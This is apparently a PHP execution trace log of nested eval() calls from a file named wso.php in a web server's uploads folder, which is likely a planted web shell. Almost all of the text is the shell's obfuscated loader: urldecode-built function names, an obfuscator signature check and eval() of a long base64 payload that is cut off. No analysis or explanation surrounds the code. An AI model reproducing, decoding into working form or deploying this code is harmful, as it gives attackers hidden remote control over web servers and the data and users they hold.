5 25 R 'if (strpos($i1i, "Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator") == false) { header("Location: http://ud64.com/"); die(); } $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} \n .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 $x0RzV = 'if (strpos($i1i, "Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator") == false) { header("Location: http://ud64.com/"); die(); } $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} \n .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00'
5 26 0 0.009269 1004720 eval 1 'if (strpos($i1i, "Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator") == false) { header("Location: http://ud64.com/"); die(); } $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} \n .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} \n .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; \n eval($O00O0O("JE8wTzAwMD0iRUFRWGJXUmRLdXl3VHBqcWlJdEptQ25CcmVzRGxhemZWR0x4WU5Gb2hQZ0h2T2NVU01rWmJuR3BFUkpBS3JsZXljVVprdmp4YVFtTURnZllJWEZWb3RUV2h1aVNMemRPUEhOd0NzcUJ6WTllWE9uS0Jtb3JoM0pjRTI0ZEoybzBDb25TS3BmS3ZRbmR2dElhS3RBSUF0b3JBa2RrQ2lKd3dpOVl5YklpeUlKVkNvbmtLQ3FkZ2VTZHZRbmR2UW5kdlFKY05Rbjl2dEFJQXRvckFrZGtDaUp3d2k5WXliSWl5SUpWQ29ua0t5Zkt2UW5kdk8wZEJSV0ZCUklhS3RBSUF0b3JBa2RrQ2lKd3dpOWhwMEJ6d0lBTXdxSmlKaTl0eTF2a0tDcWRnZVNkdlFuZHZRbmR2UUpjTlFuOXZ0QUlBdG9yQWtka0NpSnd3aTlocDBCendJQU13cUppSmk5dHkxdmtLeWZLdlFuZHZRbmR2UU1jQmtuU04zSmxOM0psS1FKY05RZWR4bGVtS0NxZGdlU2R2UW5kdlFuZHZRbmR2UW5xQXQxZXZZMGRCcExlRXQ5cUJDblN4bGVtVFFucVhwbmNIZVNkdlFuZHZRbmR2UW5kdlFucVhwbmR6Q00wTmFJaktRSjBFcE1Fc2kwY0hlU2R2UW5kdlFuZHZPMEt2UW5kdk8wZEJSV0ZCQ003UWtuZHZRbmR2UW5keHRJZXZZMGRCMm8wQlI1MktReENKdzF6b2JvVkd3SmJ3a3ZjSGVTZHZRbmRWR1NkdlFuZE5hbzBBcHhydlFKY05ZZktWR1NxZ1FuOXZ0eExOMncydWk5cUJSdVBCdHdTeDJpdndVTVVDYjAyeU9xNVh0eGpIcG9Jb0ZNM0JpTHVBb3FsZ1lpQlh5SUZ5aWI5ekNOY1RxQUlBYklHS1FxcnhsMG1UYXhMTjJ3MnVpOUlFYXVQQnR3U3gyTDBBT242VGw4bVRrSlZ3MG9Db3FvQ1JsQXZvaUpHcDBMencxR21wQzRxcDF1aXdJQml3SWZtd3FvSm93b3lvaTlvd3FxbXBDcTdRYUlhS3RCMUVhdTBYUjlycDJvNFhwdTBObGRtaDNvbEVpOWNFYUkweGxxY1FtZkt2UW5kdlFKVVhRbjl2Yk1VQXB4ZnAySXJYcEdTS3lmZGgzb2xFaTlGQnBKUE5PR1N4dHVTVFFNWW9veHN5MU13cDFvQ3lRZWR4T2RjSGxNVUFweGZwM3VJQXQ5ZUFRZHFoMmRmdmJ1b3dxV3p3aUpWd3Fvd29veEhvaXhNeUl1dEpvdmZ2T0psQVJ3Y0hsbnFCMkkwQVFuOXZ0dTFOYVdWQnBMSWhsZHFoMmRjSGxNVUFweGZwMnVmRTN1SUtRSlVYUXE3UWtuZHZRTWNCa2RxQjJJMEFRbjl6Q01haFJXRkJDSTdRa25kdlFuZHZRbmRHUUptWHBKMHZZMGRCYUlmQm85bUJwSlZoMjlyQXRvckFPc1N4T2RjSGVTZHZRbmRWR2M5QlJXRkJSSWFLdEIxRWF1MFhSOXJwMm80WHB1ME5sZG1CYUlmQm85bUJwSlZoMjlyQXRvckFPc21LQ0k3UWtuZHZRTW54dEFjQU9HZHpDTWFYUldJcDJBSUFpOVVFMjUwQlI1ME5sZHFnUXE3UW0wS3pGNDh6M01TTm5TcWhwbzBYaTllaHB1RnZZMGR2YWIyQlliRkJ0aDRoeUcyaDJoM3N5dUl1UnVxaHlCTHVhc2VCWW4wczJ4YXZVZkt4dHVQRXQ5bHZZMGR2a3VxQlV3a0hlU3FCdG9haHBvZkFpOUxoM0pjRTI0ZHpDbm1KYUlmQnB1dWhSNG1IZVNxQnRvYWhwb2ZBaTkxTjJvVmhSY0xnUW45dk9KbEFSdzdRa0pxQlJCTEFSVzBwMnVTaHB4RkJwR2R6Q25tbzJJckJ0OTNObDBXc1V3V3hGZktRYUlhS1FpSUVwTTBnQ2RxcDF1aXdJQml3SWZtQ2lKd3dpOW93MG9DcDBpT0p3NXd4MTBjS0NNN1FrbmR2UW5xQXB1SU5xaW1CUjUwTmxuOXZ0aWxOYWk1S1F4T0UyOW1FdHdrVFFua3cyVzFObW5rVFFua3lvdUhHYTkwdmtlZHZhSUxwMmlsaDJMY0Fhb2x2a2VkdklJTEVhSklnUXZmdlF4Q2hSMWtFdG9sdmtxN1FrbmR2UU1jQmtMZU5hb21wMjFMQXR1U0tRTlB4bG5ydnRJak50V1BCdHdTeDNlbVRRbnFBcHVJTnFpbUJSNTBObHFkVGtubVQycW1UUW5xcDF1aXdJQml3SWZtQ2lKd3dpOW93MG9DcDBpT0p3NXd4MTBjS0NNN1FrbmR2UW5kdlFuZFh0b0xCdG9sS1FBdm9pSkdURmJyc1FuMHNZR2R5YTkwdmJCUEFSNXF4bHE3UWtuZHZRbmR2UW5kQnBMY0FZZkt2UW5kdk8wS1ZHU0tHdElyWG85RkJwR1N4Mm9sTmE5bHAyV1BCbE5meUlvc3lRcTdRcU1jRWFJVk4ybzBLUUFmRTJBVkJweGxFM3hGeGxlZUt5ZktHdElyWG85RkJwR1N4MjFMZ2k5SWd0b1VBcEpjRTI1VkF0SWpCQ05mc1FxN1FxTUZCcEpWQXRJakJvOWZYUjFjQVFkZUt5ZktHT3VJQWk5amhSQWNoMTlXQVI5MEJwdVZObW9yQXRJakJDZGVLeWZLR3RKSUJhSXJCQ2RtbzF1enAxQml3SXV4eTA0bVRRbm1zazQxeGxxN1FkY2NCa0xtQnBKVkVSaW1YUnVWTnBvUEF0b0ZwMkFlaGxkY0tDTTdRZElhQVI1VUF0SVBFa01wdzA5RkFPeGNOT3VmaHB1U0Jwc1N4dGlsTmFpNUtDTTdRZHF4TmFvMEFweHJ2dElGcDJpbE5haTVLUUpMTm14TGdDcWR6bE1MTm14TGdvOWpocG5TeDFBeXkzdTBOYUllTjJXTE4yTElObE5mdlFKTE5teExnQ3FkSGtNRkFPeGNOT3VmaHB1U0Jwc1N4dGlsTmFpNUt5ZktRcDBLUUNKVndiOXlvUW45dmlBeXkzdTBOYUllTjJXTE4yTElObGRxcDFNencxR2NIZVNkdlFuZHhpOVl5MDlUQ3d3ZHpDTXB3MDlGQU94Y05PdWZocHVTQnBzU3hpOVl5MDlUQ3d3Y0hlYzlRZGNhQVI1VUF0SVBFa00zTjI5c0UyQWNFa2Rjdk9mS1FSSmNCQ2Rrek9NbEJDTUxFdEltRVUxVUJSNTBCcHYrenRCUE5hMGRFUm8wWHQ5cXpwTVBOM0crd3RpRk4zQVBOYUc2dllXY0VtTTFBUU0wZ3BNSXpwTUxOM3UzRTN4cXZ0NUxFUnc5TnRpRk5GNDhYUjVlQXBHZEFPSWVCeTFGQVJ4alhwR2RBYWlmQVJ3OXhGNCt4RjQ4VDJCUE5hMCt6UTllTmF3K3ZrcTdRbTBLUWFCMUVhdTBYUjlydmlBeXkzdUlBdHVQRTJqY0JDZHFYbGVkeE9oY3ZPZkt2UW5kdlFKVkcwOXpDMElpUmxKRHBDbjl2UUoySGVTZHZRbmROMm8waDI5UFgySUlLUUpEVFFucUFrcTdRbTBLUWFJYUtRaUlFcE0wZ0NkcWhwbzBYaTllaHB1RktDcWRnZVNkdlFuZFhSaFNYcHVGQnBHU3hpOUd5MXV3UmxBZWhwdUZ4MTBjdlFoYXZRTGpCWXdTeGk5R3kxdXdSbEFlaHB1RngxMGN2WTA5dlFKTEFwSlNwM01MTjNzY0tHU2R2UW5kdlFuZHZpQXl5M3VJQXR1UEUyamNCQ0xqQll3U3hpOXlKb3hSSm94RXgwTHdvaU1WQ2I5eW9RQUFLQ2VkeHRpMUF0TFZOdGlGTmxxN1FkU2R2UW5kWFJoZEtRaWNOM3VJQVFkcXAwdXp5MGp4Sm9qakJZd1N4aTl5Sm94UkpveEV4MEx3b2lNVkNiOXlvUUFBS28wY3ZPVzh2UWRxcDB1enkwanhKb2pqQll3U3hpOXlKb3hSSm94RXgwTHdvaU1WQ2I5eW9RQUFLbzBkdnkwZHh0aTFBdExWTnRpRk5scWNRa25kdlFuZHZRbmRBM3VQeXQ5bVhSNFNLeWZLVkdTS1hSaFNOM0psQXQ5ZkUzQUlOa0xGQVJ4RkFPdlN3YkxHcDA5eVRZbmZzbHFjdlkwOXZReDNYUjRrS0dTeHh0OUZ2WTBkeDNBY0VrTjdRYW9mTjJ3S1FDSlBObG45dlFBclhwZG1IZVNLeE91TEJhb1ZFUjlxQkNuOXZiTWNFYUlWQjJvMEtRQUZoUkJJcDIxUEJ0d21LeWZLWFJoU3ZDSkZoUkJJcDIxUEJ0d2NRa25kdlFNSU5teFBOSTlsQnBNUE5tSmNFYU5Tc1FxN1FkU3FCdElGaFJ4ZkJvOWFBUjVVQXRJUEVtc2R6Q01uWFI1Y3AyQUlBUWRtQnRJRmhSeGZCbzlhQVI1VUF0SVBFbXNtS3lmS3h0TFBFUm9WaDNBcXZZMGRHdEFJQXR1M0JRZGNIZWNjQmtMY04zdUlBUWRxcDFNencxSkV4MnNtcENxY1FkSW5oMkxxWHB2U3hpOUd5MXV3UmxBVXgxMGNIZVNxaDNBcXZZMGRHdEFJQXR1M0JRZGNIZWNjQmtkcUUzc2R6eTBkeDNBY0VrTmN2T2ZLUUNKU0UyMUlwMnUzQlFuOXZPdTBOSTlsQnBNZmhSdUlLUXhOcFF2ZnZRdlB2a2VkeHRMUEVSb1ZoM0FxS3lmS1FDSlVBMkdkekNNRkFPeFZOYW9lRXRpVUJDZGtwaWVrVFFua1RsdmZ2UUpVQTJHY0hlYzlRYUlhS1FKVUEySkVOM0psRXRvcktRSlVBMkdjVHlpQXZRYjl2UU5QeGxxS1FDSlVBMkdkVFUwZHhsOG1IZVNLWFJoU3ZSSUZOMm8wS1FKVkcwOXpDMElpUjIxcXVDZHFwMXVpd0lCaXdJZm1DaUp3d2k5dnkxdXd4MTBjdlE0ZHgyaVpocGRtcENxY1FrbmR2UW5xcDB1enkwanhKb2pqQll3U3hpOXlKb3hSSm94RXgwTHdvaU1WQ2I5eW9RQUFLQ25ydlFBTFhhaTR4MTBkekNuU2hhOVBFUXFxQnRvYWhwb2ZBaTkxTjJvVmhSY0xnWWZLUWFJYUtRSlBObG45ekNubUEySXJ4bHFLUUNKTEV0SUxOMm9GdlkwZGhweGxocHFTUWRxeHZxV2NOM0dkSnRJbEJSdTBFM3g1dmtuOXprbmtCdElsdmtlS3ZRbmR2bnFrSmFJckJRTWNFYUpJZ1E1ZVhPbmRYUjRkaDNvbE5hb3JBUU1xWHB2a3ZZMCt2UXhxWHB2ZFQzc2RUM05kVDJ2ZFhSNXFCcGRyTnRMZXZrZUt2UW5kdm5xa0phSXJCUW5aaDI5ckJhSW1LazVlWE9uZFhSNGRoM29sTmFvckFRTXFYcHZrdlkwK3ZReHFYcHZkVDNzZFQzTmRUMnZkS2F1UEVhQmNCbFNyTnRMZXZrZUt2UW5kdm5xa3cyTFBBbE1MaDNKY0Fhd2RoMjlyRWFvVUF0SVBFbXNrdlkwK3ZReHJCcEpGQXRpMHZRMUxFa3ZmUWtuZHZRbnh2SXVTRTNOZE5tb3JFYUlyQmxNRkJweDJYUnVJTmx2ZHp5NGR2YTVJQVFNRkF0aWxBUXZmUWtuZHZRbnh2SW9GQnB2ZGhSdVVFM29yQU9za3ZZMCt2UXhyQnBHZEFwdUlOa3ZmUWtuZHZRbnh2SXVTRTNOZGgyOWpOT28wQnB4RnZrbjl6a25rRWFvMHZPQmNCcE5rVG5TeFFDeE13SW5kb3Rpa0V0d2t2WTArdlF4TE5tbmRUUmJrVG5TeFFDeHh3UU1ZRTI1YVhSQTFOYWkwWFI5cnZrbjl6a25rWHBNVUUyNWFYUk5kVDJpZkVRdktRQ3E3UWFvZk4yd0tRQ0pMRXRJTE4yb0Z2WTBkaHB4bGhwcVNRa25kUUdxa3l0SUZBUU1xWHB2a3ZZMCt2UXhmTmxuakV0TEx2a2VLUUdxa0V0SUZBUU1hWFJXSXZ0aTBBT3hjaG1vMEJwc2RFMjRkaENNc1hSNTFnUU1GQlJ1UEVhR2RCcEwwQlI1cUJSR2RCYUlmQkNNRmdwdTBCUjBrdlkwK3ZReGZOMmkwQU92ZFRwQkx2a2VLdlFueFFDeEZYdDkzdnQ5ZUJSNUlCUU1lRTN4ME5sdmR6eTRkdmE1SUFPdTBocEdkVFJpcnZPZWRCM3hJTlFualhDTWZYcHUwQlI0a1RuU2R2UW5kdlFuZHZReGVOYTlVQnB1RnZPdTBocEoxTmx2ZHp5NGR2bU1GdnRpMWdRdmZRZHF4dnFCY0VhR2t2WTArdlF2a1RuU2R2bnF4dmFCY0VhR2RoUldmdk91MVhSR2RCYUlmQnBza3ZZMCt2UXhhWFI1cXZROGRUcEo1TnR3ZEJrbmpOdG9sRUNuanNZR2VzWW5kVFJXRnZrZUt2UW54UUN4YVhSNXF2T3UxWFJHZEJhSWZCcHNkWFI0ZGgzb2xOYW9yQVFNcVhwdmt2WTArdlF4YVhSNXF2UTRkVHBKNU50d2RCa25qTnRvbEVDbmpzWUdlc1luZFRSV0Z2a2VLdlFueFFDeGFYUjVxdnRpZkVRTUZCMklxdnRCY0V0b0Z2a245emtua0JhSXJCUW5QdlExMGdwTUl2dGhkVHBNSU5hMGRUeW5sc1luZXZRMWZObHZmUWtuZFFHcWtCYUlyQlFNRkIySXF2dEJjRXRvRnZ0SXJ2dHUxTm14SUVtR2RCdElsdmtuOXprbmtCYUlyQlFucnZRMTBncE1JdnRoZFRwTUlOYTBkVHlubHNZbmV2UTFmTmx2ZlFrbmRRR3FrQmFJckJRTVVFMjVhWFJOclhSNVVUbU1TTlFNYVhSV0lObHZkenk0ZHZhQmNFYUdkVGxuakFPSWVCQ01hdlExcmhSMUl2dHVQRWFCY0JsNWNFYXNyTnRMZXZrZUt2UW54UUN4YVhSNXF2dHVQRWFCY0JsU2RCYUlmQnBza3ZZMCt2UXhhWFI1cXZROGRUcEo1TnR3ZEJrbmpFYWlqQkNNTnZhdVBFYUJjQmxjTnZrdmZRa25kUUdxa0JhSXJCUU1VRTI1YVhSTlp2dEJjRXRvRnZ0SXJ2dHUxTm14SUVtR2RCdElsdmtuOXprbmtCYUlyQlFucnZRMTBncE1JdnRoZFRSNUxFUndkcFF4VUUyNWFYUk5acFF2a1RuU2R2bnF4dmFCY0VhR2RoUldmdk9BbFhwSkxoYVdJdnRCUEV0SklObXNkaFI1cXZ0QmNFdG9GdmtuOXprbmtCYUlyQlFuUHZRMWVCcHhqdlEwbHZRMWZObHZmUWtuZFFHcWtCYUlyQlFNTEV0ZWRBM3hjQXRpa0V0d2RCYTlmQnRvbE5sTUxFYUdkQmFJZkJwc2RYUjRkaDNvbE5hb3JBUU1xWHB2a3ZZMCt2UXhhWFI1cXZRNGRUcE1JTmEwZFR5dmRUUldGdmtlS3ZRbnhRQ3hhWFI1cXZ0aWZFUU1GQnB4MlhSdUlUbU0zQlFNYVhSV0lObHZkenk0ZHZhQmNFYUdkVGxuakFPSWVCQ01hdlExcmhSMUl2T3VJTm1CY2gyd3JOT0FxdmtlS3ZRbnhRQ3hhWFI1cXZPdUlObUJjaDJ3ck5PQXF2dEJjRXRvRnZ0SXJ2dHUxTm14SUVtR2RCdElsdmtuOXprbmtCYUlyQlFucnZRMTBncE1JdnRoZFRSNUxFUndkTjJvbEFhSVVCQzVlQTJHa1RuU2R2bnF4dmFCY0VhR2RoUldmdlE1U0FPTUxOM3UzQlFNYVhSV0lObHZkenk0ZHZhQmNFYUdkVGxuakFPSWVCQ01hdlExcmhSMUl2UTVTQU9NTE4zdTNCUXZmUWtuZFFHcWtCYUlyQlFuclhPSmVocHVGQTJHZEJhSWZCcHNkWFI0ZGgzb2xOYW9yQVFNcVhwdmt2WTArdlF4YVhSNXF2UTRkVHBKNU50d2RCa25qRWFpakJDbnJYT0plaHB1RkEyR2tUblNkdm5xeHZhQmNFYUdkaFJXZnZRNWtocHVTcDJMY04zSlBObXFkQmFJZkJwc2t2WTArdlF4YVhSNXF2UThkVHBKNU50d2RCa25qRWFpakJDbnJoYWlGWGk5U1hwdTBFM3g1dmtlS3ZRbnhRQ3hhWFI1cXZRNWtocHVTcDJMY04zSlBObXFkQmFJZkJwc2RYUjRkaDNvbE5hb3JBUU1xWHB2a3ZZMCt2UXhhWFI1cXZRNGRUcEo1TnR3ZEJrbmpFYWlqQkNucmhhaUZYaTlTWHB1MEUzeDV2a2VLdlFueFFDeGFYUjVxdnRpZkVRbnJCYW8waDJMamhSSWZOYXNkQmFJZkJwc2t2WTArdlF4YVhSNXF2UThkVHBKNU50d2RCa25qRWFpakJDbnJCYW8waDJMamhSSWZOYXNrVG5TZHZucXh2YUJjRWFHZFRhQklBdHVTRVJpY0VPeFV2dEJjRXRvRnZ0SXJ2dHUxTm14SUVtR2RCdElsdmtuOXprbmtCYUlyQlFucnZRMTBncE1JdnRoZFRSNUxFUndkVGFCSUF0dVNFUmljRU94VXZrZUtRR3FreXQ5VWhwSkl2a245emtua3ZrZUt2UW54UUN4ZkUydUxBdHdkWE9KME50R3JoMjlyQmtNYVhSV0lObHZkenk0ZHZhV1BoMmkwQkNNU0FPSmVCUTVVRTI1YXZrZUtRR3FrRXQ5VWhwSkl2T0JTRTN1ME5sNVVFMjVhdnRCY0V0b0Z2a245emtua0V0OVVocEpJdk9CU0UzdTBObDVVRTI1YXZrZUtRR3FrRXQ5VWhwSkl2T01sRTJCME50R3JoMjlyQmtNYVhSV0lObHZkenk0ZHZhV1BoMmkwQkNNZU5hOWFBT01xVGF1UEVhaGtUblN4UUN4ZkUydUxBdHdkTk91NWhhNVVUYXVQRWFoZEJhSWZCcHNrdlkwK3ZReGZFMnVMQXR3ZE5PdTVoYTVVVGF1UEVhaGtUblN4UUN4ZkUydUxBdHdkRXBxcmgyOXJCa01hWFJXSU5sdmR6eTRkdmFXUGgyaTBCQ01qZ0M1VUUyNWF2a2VLUUdxa0V0OVVocEpJdnRpcUVSSXJUbU1TTlFNYVhSV0lObHZkenk0a0V0OVVocEpJdnRpcUVSSXJUbU1TTlF2ZlFkcXh2YVdQaDJpMEJDTVVCYU5yTnRMZXZ0QmNFdG9GdmtuOXprbmtFdDlVaHBKSXZ0dWFCbDVlWE9ua1RuU3hRQ3hmRTJ1TEF0d2RoMjlyQms1ZVhPbmRCYUlmQnBza3ZZMCt2UXhmRTJ1TEF0d2RoMjlyQms1ZVhPbmtUblN4UUN4ZkUydUxBdHdkaDI5ckJhSW1UYUpMQVFNYVhSV0lObHZkenk0ZHZhV1BoMmkwQkNNVUUyNWFYUk5yQnRpMHZrZUtRR3FrRXQ5VWhwSkl2dHVQRWFCY0JsNWVYT25kQmFJZkJwc2t2WTArdlF4ZkUydUxBdHdkaDI5ckJhSW1UbU1TTlF2ZlFkcXh2YVdQaDJpMEJDTVVFMjVhWFJOclhSNVV2dEJjRXRvRnZrbjl6a25rRXQ5VWhwSkl2dHVQRWFCY0JsNWNFYXNrVG5TeFFDeGZFMnVMQXR3ZGgyOXJCYUltVGFJcmhsNWVYT25rdlkwK3ZReGZFMnVMQXR3ZGgyOXJCYUltVGFJcmhsNWVYT25rVG5TeFFDeGZFMnVMQXR3ZGgyOXJCYUltVGFKSUJhaTFFT0dyTnRMZXZ0QmNFdG9GdmtuOXprbmtFdDlVaHBKSXZ0dVBFYUJjQmw1cUJSQkxBUlcwVG1NU05RdmZRZHF4dmFXUGgyaTBCQ01VRTI1YVhSTlp2dEJjRXRvRnZRdmR6eTRkdmFXUGgyaTBCQ01VRTI1YVhSTmtUblN4UUN4ZkUydUxBdHdkVGF1UEVhaGRCYUlmQnBza3p5NGtFdDlVaHBKSXZRTnJoMjlyQmtOa1RuU3hRQ3hmRTJ1TEF0d2RUbU0zQlFNYVhSV0lObHZkenk0ZHZhV1BoMmkwQkNubVRtTTNCUU5rVG5TeFFDeGZFMnVMQXR3ZFRtdVdFUU1hWFJXSU5sdmR6eTRkdmFXUGgyaTBCQ25tVG11V0VRTmtUblN4UUN4ZkUydUxBdHdkVGFMME50aUZOM0FxdnRCY0V0b0Z2a245emtua0V0OVVocEpJdlFOclhPSmVocHVGQTJHbXZrZUtRR3FrRXQ5VWhwSkl2UTVraHB1U3AyTGNOM0pQTm1xZEJhSWZCcHNrdlkwK3ZReGZFMnVMQXR3ZHhsNWtocHVTcDJMY04zSlBObXFtdmtlS1FHcWtFdDlVaHBKSXZRNWpncHVXRWk5U1hwdTBFM3g1dnRCY0V0b0Z2a245emtua0V0OVVocEpJdlFOckVwSUZOUldWWHRJRkF0OWxnQ05rVG5TeFFDeGZFMnVMQXR3ZFRhQklBdHVTRVJpY0VPeFV2dEJjRXRvRnZrbjl6a25rRXQ5VWhwSkl2UU5yQmFvMGgyTGpoUklmTmFzbXZrZUtRR3FrRXQ5VWhwSkl2dHhMaDJqMU5RTWFYUldJTmx2ZHp5NGR2YVdQaDJpMEJDTWtoUnVEQXBua1RuU3hRQ3hmRTJ1TEF0d2RCT29qTlFNYVhSV0lObHZkenk0ZHZhV1BoMmkwQkNNcUFSMWV2a2VLUUdxa0V0OVVocEpJdk9NbFhwaGRCYUlmQnBza3ZZMCt2UXhmRTJ1TEF0d2ROT3hjQWt2S1FDcTdRZGNhQVI1VUF0SVBFa00zTjI5dkJSaXFCcHZTS0NNN1FkSWNCa0xJRXBNMGdDZHFwMU16dzFKRXgydVNocHhGQnBHbXBDcWNRZHF4eGk5R3kxdXdSbEFVWHRpbE4ybzB4MTBkekNucUowV3pHcWlzdzFmbUJ0b2FocG9mQWk5VVh0aWxOMm8weDEwN1FkSW1FdDlraFJlZHh0dVBFdDlsSGVTeEJSdVNFbG5renRMMEVSZSt6dExJaFJHK3p0MUlBdGJkWE9KME5RMUlOcG9jQVUwbUcyOXJBdG9yQVExd2dwTUl4bE1VRTI1MEJSNTB6Q0EwQnBMMFQyTDBFUmU3dnR1U2hweEZCcEc5dmtucnZRSlZ3Yjl5b2lmbWgyTExObXVJQVFBQXZRNGR2a04rek9KY0F0V0l6a3ZkVGtucXAxdWl3SUJpd0lmbUNpSnd3aTl2eTF1d3gxMGRUa25rdlEwZG8xdXp2UXZkVGtNcHcwOVZvcW9DdzBJenlrbnJ2VWVQQXRJMEV0dytRVVdGQU9JZkJ5NEtoYTlxZ3Bqa2hSdURCM3hQQVI1cVRSdVBFdDlsSGtzMHVZRzdoMjlmRTN2NnYyd1dCeWlJc3lqOVFheFBCT3FmQXRHZkF0TDd2dEJQRW1HNnZZSWVBUU1zQVJ1Y0J0YmZvYW9sQnRpcmh5ampocHhtWFI0NnNZajJCcHgwWFJ1TEVRMUxFdEltRVVjMEUzbjdoMjlmRTN2NnYyd1dCeWlJc3lmZFZHYzBoUnhmQkM1Y0VhQlBnbE1VRTJXUE5VU1VCYUJhSDJ4TGgyam1OYTkxRWFHamgyOWZFM3Y2dkZ2bHNVZmRWR2NGTnRpclR0ZFdUdGk3dnR1UEV0OWxIa25xaDI5ZkUzdmR2UklqTnQ5bEF0aXJBWWZkVkdjRk50aXJnbE1hRTI1MFRwQUlYUkFTQVlTZGhhOWZCdG9sSGxNOVFhZFdnbE1rRTN4cUJwdmpFdG9hQVlTMU5PZGROMjlmWFJHZHh0dVBFdDlsSDNNTEJ0SmNFYU42dll4ZWdRbjFOT2Q3QmE5ckFZU2RzeUplQVFNUkJweHFoUjVMSDJ4TGgyam1OYTkxRWFHamgyOWZFM3Y2dkZ2bHNVampocHhtWFI0NnNPTTRIbE05UWFKY0FrNVVFMjUwQlI1MGdsTWVoUkpxWFI1bUhrbjFOT2Q3RVJpbEIySXJUUldJQm1HNnVwTTRIMnhMaDJqbU5hOTFFYUdqaDI5ZkUzdjZ2RnNGc0ZmZFZHY0xnbE0wQnBMMFRSSkloMjlsaHBKY0UyNDZFYTlyQnlmZFZHY0xIYUxQQWFvbGdsTTBCcEwwVFJKSWgyOWxocEpjRTI0NkFSNXFCcHhmWFI1SUhsTTlRazVqRVlpN3Z0eFBOYUpJTlVTV05PZGROMjlmWFJHZHZGRzB1WWplaFJKcVhSNW1IVW9lZ1lqamhweG1YUjQ2c1lqUEFhb2xCYVdQQUZTZGhwbzBFRmZkVkdTcmhhSW1ocHhJaHBmZEEySXFBdGQ2c3luZXh5alNCUkltWE9HNnNGbmVOT2Q3dk8wS1hSNWVBcEdmQXRvNEF0aWxCUmJmTjJvZkJSdTBnbE1qaHB4bVhSNDZzWWpVRTJXUE5VU1VCYUJhSDJ4TGgyam1OYTkxRWFHamgyOWZFM3Y2dkZ3MXV5amtFM3hxQnB2NnNwTTR2T3VQRXRJcXZRSlVFMldQTlVmZEJhOXJBWVNkSHBNMHZiMVBFYTlGTnRpVUJDZW1HMjkxTmFJSU5rTUhCcE5tSGxNOVFhQlBOYTE3dnQxTE5hQWNFVVNlTk9kN3ZPMEt2M0pQRTJXRm90eGZnbE0wQnBMMFRSaWZYUkFySGF1SUVtSklOVWZkVkdTckF0OVBFT3V4RW1NN3ZPQWNCT0pTSGtuRnNZTWVnUU05UWs1amhSSXJ2T0pTZzNKSWdPR2poUldjQjI0NkV0b2FBWWpraFJ1REIzeFBBUjVxVFJ1UEV0OWxIa3MxQnlvSXVSdzdWR1NyRVJpY0VrTTBOVWNTRTNCSU5tamtoUnVEQjN4UEFSNXFUUnVQRXQ5bEhrczFCeW9JdVJvOVFrNWZzcGpraFJ1REIzeFBBUjVxVFJ1UEV0OWxIa3MwdVlKOVFrNWZzbWpraFJ1REIzeFBBUjVxVFJ1UEV0OWxIa3NGc0Z1OVFtTWxCcGphRTI1MFRSQkxFUklmZ3ljWUUzb2xYUm9sVGIxUEVhOUZOdGlVQnlqOVFVZVBOM0o1RXR3K1FVV0ZoM3hjTk9HK1FrbmR2UU0yaHB2ZGgxOGR6Q25tdmtucnZ0TDBFUldGTnRvVVhSaWZoMkxMTm1zU3hiQXN5MHhNeWl1RXgydTNCUUFBS0NucnZRdm1IZVNkdlFuZEFhaWx2dGlWdlkwZHhsdmRUa01TQXQxZk4zTUloMklMRXR1U2hweEZLYm5xcDFNencxSkV4MmJtcENxZFRrdm1Ra25kdlFNMmhwdmRoMkxMTm11SUFpOGR6Q25tdmtucnZ0TDBFUldGTnRvVVhSaWZoMkxMTm1zU0dRSlZ3Yjl5b2lmbWgyTExObXVJQVFBQUtDbnJ2a043UWtuZHZRTTJocHZkTllpVnZZMGR4bHZkVGtuU0tPdTBObU1QTmxMbnhpOUd5MXV3UmxBZXNDQUFUUXhORWt2Y3Z5MDlCYWlmTjJ3Y3psTm1IYUwwRVJXRk50b1VYUmlmaDJMTE5tc1N4aTlHeTF1d1JsQWVzQ0FBVGJvSG9pOUpvdzl3Sm9zY0tDbnJ2a043UWtuZHZRTTJocHZkTll4VnZZMGR4bHZkVGtuU0tPdTBObU1QTmxMbnhpOUd5MXV3UmxBZXNrQUFUUXhORWt2Y3Z5MDlCYWlmTjJ3Y3psTm1IYUwwRVJXRk50b1VYUmlmaDJMTE5tc1N4aTlHeTF1d1JsQWVza0FBVGJvSG9pOUpvdzl3Sm9zY0tDbnJ2a043UWtuZHZRTTJocHZkTll1VnZZMGR4bHZkVGtuU0tPdTBObU1QTmxMbnhpOUd5MXV3UmxBZXNsQUFUUXhORWt2Y3Z5MDlCYWlmTjJ3Y3psTm1IYUwwRVJXRk50b1VYUmlmaDJMTE5tc1N4aTlH